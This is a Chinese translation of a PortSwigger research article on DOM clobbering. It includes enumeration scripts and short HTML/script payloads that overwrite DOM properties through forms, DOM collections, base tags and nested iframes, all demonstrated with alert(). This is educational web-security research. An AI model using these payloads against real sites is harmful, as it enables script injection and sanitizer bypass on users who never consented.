原文: https://portswigger.net/research/dom-clobbering-strikes-back
作者:Gareth Heyes
随着诸如XSS和CSRF之类的经典客户端漏洞被修复,与CSP和同源相关的漏洞也不再提及,像是DOM Clobbering这样的攻击技术变得越来越重要。最近,在我首次于2013年介绍该项技术后,Michal Bentkowski利用DOM Clobbering攻击了Gmail。在这篇文章中,我会简单介绍一下DOM Clobbering技术,在我原本的研究中加入一些新的技术,同时分享两个交互的实验室,这样你可以自己尝试这些新技术。如果你还不熟悉DOM Clobbering,或许你想先阅读一下Web Security Academy中我们对其的介绍。
首先,获得可以组合在一起的HTML元素列表十分简单。你只需要把两个HTML元素相邻放置,分别为其分配一个ID,然后检查第一个元素是否具有第二个元素的属性。代码如下:
var log=[]; var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = []; div=document.createElement('div'); for(var i=0;i<html.length;i++) { for(var j=0;j<html.length;j++) { div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div); if(window.element1 && element1.element2){ log.push(html[i]+','+html[j]); } document.body.removeChild(div); } } console.log(log.join('\n'));
代码执行结果与预期相似,产生了一个包含与表单相关的元素和图像元素的列表。
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
所以,如果你想破坏一个对象的x.y.value值,可以这样做:
<form id=x><output id=y>I've been clobbered</output> <script> alert(x.y.value); </script>
当然你也可以用我之前的技巧,使用id和name属性组成一个DOM集合。一个DOM集合类似包含多个DOM元素的数组。你可以通过数字索引或其名字访问集合中的元素。
<a id=x><a id=x name=y href="Clobbered"> <script> alert(x.y) </script>
通过使用带有表单的DOM集合,可以深入破坏三个层次(感谢@PwnFunction的纠正)
<form id=x name=y><input id=z></form> <form id=x></form> <script> alert(x.y.z) </script>
在Chrome中,如果在父表单中使用带有表单控件或者图像元素时,你可以将这组元素变成类似数组的对象。Chrome把这类对象标记为[object RadioNodeList],并且可以使用forEach这样数组中存在的方法。
<form id=x> <input id=y name=z> <input id=y> </form> <script> x.y.forEach(element=>alert(element)) </script>
你可能好奇为什么不只使用属性(attributes)。好吧,只有在HTML规范将其定义为有效属性时,该属性才起作用。这就意味着,任何未被定义有效的属性都不具有DOM属性(property),所以是未定义的。例如:
<form id=x y=123></form> <script> alert(x.y)//未定义 </script>
你可以轻易在DOM中搜索可以被破坏的属性:
var html = [...]//HTML元素数组 var props=[]; for(i=0;i<html.length;i++){ obj = document.createElement(html[i]); for(prop in obj) { if(typeof obj[prop] === 'string') { try { props.push(html[i]+':'+prop); }catch(e){} } } } console.log([...new Set(props)].join('\n'));
上面的代码会显示为字符串的DOM属性,但是它们不一定可控。如果想要检查它们是否在某种程度上可控,你可以尝试给该属性赋值,并读取该值。
var html = [...]//HTML elements array var props=[]; for(i=0;i<html.length;i++){ obj = document.createElement(html[i]); for(prop in obj) { if(typeof obj[prop] === 'string') { try { DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>'; if(document.getElementById('x')[prop] == 1) { props.push(html[i]+':'+prop); } }catch(e){} } } } console.log([...new Set(props)].join('\n'));
在运行上述所有代码时,我注意到结果中的"username"和"password"有两个空白字符串。这些是锚标记的DOM属性,而不是HTML属性。看起来你可以通过锚来控制这些值。通过反复实验,我发现这些属性与FTP URL中的用来提供凭据的用户名、密码部分有关。这也适用于使用@符号提供用户名和密码的HTTP URL。
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script>
你可能已经注意到在使用诸如href这样可以被破坏的属性时,浏览器通常会对这些值进行URL编码。想要解决该问题,可以使用不同的协议,例如file:或者其他协议。
<a id=x href="abc:<>"> <script> alert(x)//abc:<> </script>
Firefox还允许你在base标签中使用其他协议,该协议会被锚使用,同时允许未编码的值。
<base href=a:abc><a id=x href="Firefox<>"> <script> alert(x)//Firefox<> </script>
也可以在Chrome中做同样的事,只不过这次要在base标签的href属性中提供你想要的值:
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> <script> alert(x.xyz)//a://Clobbered<> </script>
我们已经在Web Security Academy中发布了两个基于该技术构建的交互式DOM实验室,你可以自己尝试:
@Terjanq提到,可以使用iframes和srcdoc破坏多层的属性。因为如果在一个iframe上设置了name属性,该iframe真正的contentWindow会分配给这个name中的全局变量,所以该技术是有效的。之后,你就可以将该iframe中的HTML元素链接在一起。例如:
<iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <script>setTimeout(()=>alert(a.b.c.d),500)</script>
你可能已经注意到,该技术需要使用setTimeout函数引发延迟来渲染iframe。不过我找到了一种不需要timeout的使用iframe的方法!如果你使用了style/link元素来导入样式表,这会导致一个小的延迟,从而使iframe能立即被渲染并被破坏。工作方式如下:
<iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> <script> alert(a.b.c.d) </script>